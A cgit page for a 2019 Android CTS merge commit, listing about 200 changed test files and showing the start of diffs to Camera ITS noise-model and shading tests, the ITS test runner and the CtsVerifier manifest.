summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorandroid-build-team Robot <android-build-team-robot@google.com>2019-08-15 04:36:57 +0000
committerandroid-build-team Robot <android-build-team-robot@google.com>2019-08-15 04:36:57 +0000
commitf83c2638350f45fb296d11cd2b1722bfc0b11894 (patch)
tree022b3528c61af16d15758e6c06a11a942e334492
parent7d6279d27dea58720bc5db5572f060b8b71ec78e (diff)
parent7b5b885af5434f175decc7ac66b657b0bf0a14d5 (diff)
downloadcts-android10-mainline-a-release.tar.gz
Snap for 5803298 from 7b5b885af5434f175decc7ac66b657b0bf0a14d5 to qt-aml-releaseandroid-mainline-10.0.0_r2android10-mainline-a-release
Change-Id: I4e52e10b71f85f48e7e831e786406b19e4433b2d
-rw-r--r--apps/CameraITS/tests/scene1/test_dng_noise_model.py86
-rw-r--r--apps/CameraITS/tests/scene1/test_param_shading_mode.py11
-rw-r--r--apps/CameraITS/tools/run_all_tests.py12
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml12
-rw-r--r--apps/CtsVerifier/proguard.flags3
-rw-r--r--apps/CtsVerifier/res/layout/pro_audio.xml18
-rwxr-xr-xapps/CtsVerifier/res/values/strings.xml33
-rw-r--r--apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml2
-rw-r--r--apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml2
-rw-r--r--apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml2
-rw-r--r--apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml9
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java38
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java321
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java13
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java13
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java26
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java3
-rwxr-xr-x[-rw-r--r--]apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java16
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java104
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java12
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java9
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java92
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java30
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java20
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java15
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java21
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java29
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java115
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java44
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java37
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java121
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java12
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java5
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java5
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java87
-rw-r--r--common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java4
-rw-r--r--common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java87
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java4
-rwxr-xr-xhostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java4
-rw-r--r--hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java14
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml14
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java114
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java15
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java19
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java (renamed from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java)20
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java (renamed from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java)15
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java (renamed from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java)12
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java (renamed from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java)2
-rw-r--r--hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java2
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml13
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java48
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java58
-rw-r--r--hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java4
-rw-r--r--hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java15
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java36
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java2
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java79
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java4
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java155
-rwxr-xr-x[-rw-r--r--]hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java3
-rwxr-xr-x[-rw-r--r--]hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java8
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java51
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java64
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java4
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java4
-rw-r--r--hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java177
-rw-r--r--hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java32
-rw-r--r--hostsidetests/securitybulletin/AndroidTest.xml9
-rw-r--r--hostsidetests/securitybulletin/res/CVE-2019-2045.pac40
-rw-r--r--hostsidetests/securitybulletin/res/CVE-2019-2052.pac32
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/poc.c135
-rw-r--r--hostsidetests/securitybulletin/securityPatch/pac/Android.mk (renamed from hostsidetests/securitybulletin/securityPatch/CVE-2019-2054/Android.mk)19
-rw-r--r--hostsidetests/securitybulletin/securityPatch/pac/pac.cpp57
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java24
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java20
-rw-r--r--hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java4
-rw-r--r--tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java5
-rw-r--r--tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java4
-rw-r--r--tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java2
-rw-r--r--tests/app/src/android/app/cts/DownloadManagerTestBase.java26
-rw-r--r--tests/app/src/android/app/cts/NotificationManagerTest.java6
-rw-r--r--tests/autofillservice/OWNERS2
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java7
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java2
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java2
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java21
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java5
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/Helper.java11
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java4
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/UiBot.java27
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java5
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java3
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java (renamed from tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java)20
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java16
-rw-r--r--tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java16
-rw-r--r--tests/camera/libctscamera2jni/native-camera-jni.cpp5
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java174
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java226
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java1
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java2
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java76
-rw-r--r--tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java17
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java1
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java81
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java1
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java23
-rwxr-xr-x[-rw-r--r--]tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java2
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java176
-rw-r--r--tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java1
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java38
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java108
-rw-r--r--tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java22
-rw-r--r--tests/jdwp/runner/host-side/Android.bp1
-rw-r--r--tests/libcore/luni/Android.mk2
-rw-r--r--tests/libcore/ojluni/Android.mk2
-rw-r--r--tests/libcore/runner/Android.mk2
-rw-r--r--tests/openglperf2/AndroidTest.xml2
-rw-r--r--tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java8
-rw-r--r--tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java142
-rw-r--r--tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java45
-rw-r--r--tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java2
-rw-r--r--tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java18
-rw-r--r--tests/tests/assist/src/android/assist/cts/AssistTestBase.java7
-rw-r--r--tests/tests/assist/testapp/src/android/assist/testapp/ScreenshotActivity.java7
-rw-r--r--tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java41
-rw-r--r--tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java2
-rw-r--r--tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java2
-rw-r--r--tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java34
-rw-r--r--tests/tests/content/src/android/content/cts/AvailableIntentsTest.java2
-rw-r--r--tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp4
-rw-r--r--tests/tests/graphics/src/android/graphics/cts/BitmapTest.java2
-rw-r--r--tests/tests/hardware/res/raw/sony_dualshock4_register.json7
-rw-r--r--tests/tests/icu/Android.mk2
-rw-r--r--tests/tests/media/Android.mk2
-rw-r--r--tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java2
-rw-r--r--tests/tests/media/src/android/media/cts/NativeDecoderTest.java3
-rw-r--r--tests/tests/mediastress/Android.mk2
-rw-r--r--tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java32
-rw-r--r--tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java12
-rw-r--r--tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java16
-rw-r--r--tests/tests/permission2/AndroidTest.xml6
-rw-r--r--tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp29
-rw-r--r--tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/AndroidManifest.xml26
-rw-r--r--tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp29
-rw-r--r--tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/AndroidManifest.xml27
-rw-r--r--tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp29
-rw-r--r--tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/AndroidManifest.xml28
-rw-r--r--tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp29
-rw-r--r--tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/AndroidManifest.xml26
-rw-r--r--tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp29
-rw-r--r--tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/AndroidManifest.xml26
-rw-r--r--tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp29
-rw-r--r--tests/tests/permission2/CtsSMSRestrictedWithSharedUid/AndroidManifest.xml26
-rw-r--r--tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java28
-rw-r--r--tests/tests/permission2/src/android/permission2/cts/RestrictedStoragePermissionSharedUidTest.java265
-rw-r--r--tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java5
-rw-r--r--tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java16
-rw-r--r--tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java13
-rw-r--r--tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java49
-rw-r--r--tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java97
-rw-r--r--tests/tests/role/AndroidTest.xml1
-rw-r--r--tests/tests/role/CtsRoleTestApp/AndroidManifest.xml8
-rw-r--r--tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java52
-rw-r--r--tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java52
-rw-r--r--tests/tests/role/CtsRoleTestApp28/Android.bp28
-rw-r--r--tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml82
-rw-r--r--tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java40
-rw-r--r--tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java41
-rw-r--r--tests/tests/role/src/android/app/role/cts/RoleManagerTest.java77
-rw-r--r--tests/tests/security/Android.mk1
-rw-r--r--tests/tests/security/res/raw/bug_23285192.mp3bin0 -> 18100 bytes
-rw-r--r--tests/tests/security/res/raw/bug_25928803.mp4bin0 -> 875797 bytes
-rw-r--r--tests/tests/security/res/raw/bug_26399350_avc.mp4bin0 -> 55587 bytes
-rw-r--r--tests/tests/security/res/raw/bug_36279112.mp4bin0 -> 1227566 bytes
-rw-r--r--tests/tests/security/res/raw/bug_37203196_framelen.mp48
-rw-r--r--tests/tests/security/res/raw/bug_37203196_mpeg2.mp4bin0 -> 15924 bytes
-rw-r--r--tests/tests/security/res/raw/bug_63522067_1_hevc.mp4bin0 -> 3172 bytes
-rw-r--r--tests/tests/security/res/raw/bug_63522067_2_hevc.mp4bin0 -> 1284 bytes
-rw-r--r--tests/tests/security/res/raw/bug_63522067_3_hevc.mp4bin0 -> 14941 bytes
-rw-r--r--tests/tests/security/res/raw/bug_63522067_4_hevc.mp4bin0 -> 14941 bytes
-rw-r--r--tests/tests/security/res/raw/cve_2018_11287.mp4bin0 -> 16582 bytes
-rw-r--r--tests/tests/security/src/android/security/cts/StagefrightTest.java67
-rw-r--r--tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java4
-rw-r--r--tests/tests/systemui/Android.mk2
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java58
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/LightBarTests.java3
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java2
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java15
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java327
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java4
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java6
-rwxr-xr-xtests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java9
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java9
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java4
-rw-r--r--tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java31
-rw-r--r--tests/tests/tv/src/android/media/tv/cts/TvContractTest.java13
-rw-r--r--tests/tests/view/res/layout/view_layout.xml4
-rw-r--r--tests/tests/view/src/android/view/cts/ViewTest.java8
-rw-r--r--tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java3
-rw-r--r--tools/cts-dynamic-config/Android.mk2
-rw-r--r--tools/cts-media-preparer-app/Android.bp1
202 files changed, 4444 insertions, 1681 deletions
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
index ba8fd7d7041..98efd4ea18e 100644
--- a/apps/CameraITS/tests/scene1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
@@ -12,6 +12,7 @@
# See the License for the specific language governing permissions and
# limitations under the License.
+import math
import os.path
import its.caps
import its.device
@@ -25,7 +26,7 @@ BAYER_LIST = ['R', 'GR', 'GB', 'B']
DIFF_THRESH = 0.0012 # absolute variance delta threshold
FRAC_THRESH = 0.2 # relative variance delta threshold
NUM_STEPS = 4
-STATS_GRID = 49 # center 2.04% of image for calculations
+SENS_TOL = 0.97 # specification is <= 3%
def main():
@@ -41,51 +42,42 @@ def main():
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
- its.caps.skip_unless(its.caps.raw(props) and
+ its.caps.skip_unless(
+ its.caps.raw(props) and
its.caps.raw16(props) and
its.caps.manual_sensor(props) and
its.caps.read_3a(props) and
its.caps.per_frame_control(props) and
not its.caps.mono_camera(props))
- debug = its.caps.debug_mode()
-
white_level = float(props['android.sensor.info.whiteLevel'])
cfa_idxs = its.image.get_canonical_cfa_order(props)
- aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
- aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
- aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right']-aax
- aah = props['android.sensor.info.preCorrectionActiveArraySize']['bottom']-aay
# Expose for the scene with min sensitivity
- sens_min, sens_max = props['android.sensor.info.sensitivityRange']
- sens_step = (sens_max - sens_min) / NUM_STEPS
+ sens_min, _ = props['android.sensor.info.sensitivityRange']
+ sens_max_ana = props['android.sensor.maxAnalogSensitivity']
+ sens_step = (sens_max_ana - sens_min) / NUM_STEPS
s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
s_e_prod = s_ae * e_ae
- sensitivities = range(sens_min, sens_max, sens_step)
+ sensitivities = range(sens_min, sens_max_ana+1, sens_step)
var_expected = [[], [], [], []]
var_measured = [[], [], [], []]
- x = STATS_GRID/2 # center in H of STATS_GRID
- y = STATS_GRID/2 # center in W of STATS_GRID
+ sens_valid = []
for sens in sensitivities:
-
# Capture a raw frame with the desired sensitivity
exp = int(s_e_prod / float(sens))
req = its.objects.manual_capture_request(sens, exp, f_dist)
- if debug:
- cap = cam.do_capture(req, cam.CAP_RAW)
- planes = its.image.convert_capture_to_planes(cap, props)
- else:
- cap = cam.do_capture(req, {'format': 'rawStats',
- 'gridWidth': aaw/STATS_GRID,
- 'gridHeight': aah/STATS_GRID})
- mean_img, var_img = its.image.unpack_rawstats_capture(cap)
+ cap = cam.do_capture(req, cam.CAP_RAW)
+ planes = its.image.convert_capture_to_planes(cap, props)
+ s_read = cap['metadata']['android.sensor.sensitivity']
+ print 'iso_write: %d, iso_read: %d' % (sens, s_read)
# Test each raw color channel (R, GR, GB, B)
noise_profile = cap['metadata']['android.sensor.noiseProfile']
assert len(noise_profile) == len(BAYER_LIST)
for i in range(len(BAYER_LIST)):
+ print BAYER_LIST[i],
# Get the noise model parameters for this channel of this shot.
ch = cfa_idxs[i]
s, o = noise_profile[ch]
@@ -96,23 +88,43 @@ def main():
black_level = its.image.get_black_level(i, props,
cap['metadata'])
level_range = white_level - black_level
- if debug:
- plane = ((planes[i] * white_level - black_level) /
- level_range)
- tile = its.image.get_image_patch(plane, 0.49, 0.49,
- 0.02, 0.02)
- mean_img_ch = tile.mean()
- var_measured[i].append(
- its.image.compute_image_variances(tile)[0])
+ plane = its.image.get_image_patch(planes[i], 0.49, 0.49,
+ 0.02, 0.02)
+ tile_raw = plane * white_level
+ tile_norm = ((tile_raw - black_level) / level_range)
+
+ # exit if distribution is clipped at 0, otherwise continue
+ mean_img_ch = tile_norm.mean()
+ var_model = s * mean_img_ch + o
+ # This computation is a suspicious because if the data were
+ # clipped, the mean and standard deviation could be affected
+ # in a way that affects this check. However, empirically,
+ # the mean and standard deviation change more slowly than the
+ # clipping point itself does, so the check remains correct
+ # even after the signal starts to clip.
+ mean_minus_3sigma = mean_img_ch - math.sqrt(var_model) * 3
+ if mean_minus_3sigma < 0:
+ e_msg = '\nPixel distribution crosses 0.\n'
+ e_msg += 'Likely black level over-clips.\n'
+ e_msg += 'Linear model is not valid.\n'
+ e_msg += 'mean: %.3e, var: %.3e, u-3s: %.3e' % (
+ mean_img_ch, var_model, mean_minus_3sigma)
+ assert 0, e_msg
else:
- mean_img_ch = (mean_img[x, y, ch]-black_level)/level_range
- var_measured[i].append(var_img[x, y, ch]/level_range**2)
- var_expected[i].append(s * mean_img_ch + o)
-
+ print 'mean:', mean_img_ch,
+ var_measured[i].append(
+ its.image.compute_image_variances(tile_norm)[0])
+ print 'var:', var_measured[i][-1],
+ var_expected[i].append(var_model)
+ print 'var_model:', var_expected[i][-1]
+ print ''
+ sens_valid.append(sens)
+
+ # plot data and models
for i, ch in enumerate(BAYER_LIST):
- pylab.plot(sensitivities, var_expected[i], 'rgkb'[i],
+ pylab.plot(sens_valid, var_expected[i], 'rgkb'[i],
label=ch+' expected')
- pylab.plot(sensitivities, var_measured[i], 'rgkb'[i]+'--',
+ pylab.plot(sens_valid, var_measured[i], 'rgkb'[i]+'.--',
label=ch+' measured')
pylab.xlabel('Sensitivity')
pylab.ylabel('Center patch variance')
@@ -122,7 +134,7 @@ def main():
# PASS/FAIL check
for i, ch in enumerate(BAYER_LIST):
diffs = [abs(var_measured[i][j] - var_expected[i][j])
- for j in range(len(sensitivities))]
+ for j in range(len(sens_valid))]
print 'Diffs (%s):'%(ch), diffs
for j, diff in enumerate(diffs):
thresh = max(DIFF_THRESH, FRAC_THRESH*var_expected[i][j])
diff --git a/apps/CameraITS/tests/scene1/test_param_shading_mode.py b/apps/CameraITS/tests/scene1/test_param_shading_mode.py
index a65c630c62f..a5f85ca7a02 100644
--- a/apps/CameraITS/tests/scene1/test_param_shading_mode.py
+++ b/apps/CameraITS/tests/scene1/test_param_shading_mode.py
@@ -58,6 +58,13 @@ def main():
# switching shading modes.
cam.do_3a(mono_camera=mono_camera)
+ # Use smallest yuv size matching the aspect ratio of largest yuv size to
+ # reduce some USB bandwidth overhead since we are only looking at output
+ # metadata in this test.
+ largest_yuv_fmt = its.objects.get_largest_yuv_format(props)
+ largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height'])
+ cap_fmt = its.objects.get_smallest_yuv_format(props, largest_yuv_size)
+
# Get the reference lens shading maps for OFF, FAST, and HIGH_QUALITY
# in different sessions.
# reference_maps[mode]
@@ -68,7 +75,7 @@ def main():
req = its.objects.auto_capture_request()
req['android.statistics.lensShadingMapMode'] = 1
req['android.shading.mode'] = mode
- cap_res = cam.do_capture([req]*NUM_FRAMES)[NUM_FRAMES-1]['metadata']
+ cap_res = cam.do_capture([req]*NUM_FRAMES, cap_fmt)[NUM_FRAMES-1]['metadata']
lsc_map = cap_res['android.statistics.lensShadingCorrectionMap']
assert(lsc_map.has_key('width') and
lsc_map.has_key('height') and
@@ -89,7 +96,7 @@ def main():
req['android.shading.mode'] = mode
reqs.append(req)
- caps = cam.do_capture(reqs)
+ caps = cam.do_capture(reqs, cap_fmt)
# shading_maps[mode][loop]
shading_maps = [[[] for loop in range(NUM_SHADING_MODE_SWITCH_LOOPS)]
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index f825773d475..c2f4fefcc78 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -302,12 +302,6 @@ def main():
assert False
scenes = temp_scenes
- # Initialize test results
- results = {}
- result_key = ItsSession.RESULT_KEY
- for s in all_scenes:
- results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
-
# Make output directories to hold the generated files.
topdir = tempfile.mkdtemp(dir=tmp_dir)
subprocess.call(['chmod', 'g+rx', topdir])
@@ -398,6 +392,12 @@ def main():
assert wake_code == 0
for id_combo in camera_id_combos:
+ # Initialize test results
+ results = {}
+ result_key = ItsSession.RESULT_KEY
+ for s in all_scenes:
+ results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
+
camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
id_combo_string = id_combo.id;
has_hidden_sub_camera = id_combo.sub_id is not None
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b5af6528f95..1c7b4aa1fa2 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -102,7 +102,10 @@
android:label="@string/report_viewer" />
<provider android:name=".TestResultsProvider"
- android:authorities="com.android.cts.verifier.testresultsprovider" />
+ android:authorities="com.android.cts.verifier.testresultsprovider"
+ android:grantUriPermissions="true"
+ android:exported="true"
+ android:enabled="true" />
<activity android:name=".admin.PolicySerializationTestActivity"
android:label="@string/da_policy_serialization_test"
@@ -2892,6 +2895,13 @@
<meta-data android:name="test_required_features" android:value="android.software.managed_users:android.software.device_admin" />
</activity>
+ <receiver
+ android:name=".managedprovisioning.ByodFlowTestActivity$ProvisioningCompleteReceiver">
+ <intent-filter>
+ <action android:name="android.app.action.MANAGED_PROFILE_PROVISIONED" />
+ </intent-filter>
+ </receiver>
+
<activity android:name=".managedprovisioning.CompTestActivity"
android:launchMode="singleTask"
android:label="@string/comp_test">
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index d277c6b2c6c..85f378ed237 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
